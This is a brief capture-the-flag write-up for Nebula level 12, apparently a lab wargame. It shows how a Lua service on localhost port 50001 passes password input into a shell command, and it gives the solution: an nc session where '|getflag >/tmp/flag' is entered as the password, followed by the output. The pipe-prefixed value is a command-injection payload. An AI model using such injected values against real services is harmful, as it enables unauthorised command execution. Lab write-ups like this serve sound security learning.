Nebula level 12 solution
A simple command execution issue with the .lua code. Initially you need to connect to localhost on port 50001. Then simply inject the command as 'Password'. Line 5 inserts everything from "Password" prompt to the command string.
Solution
nc 127.0.0.1 50001 Password: |getflag >/tmp/flag Better luck next time less /tmp/flag You have successfully executed getflag on a target account
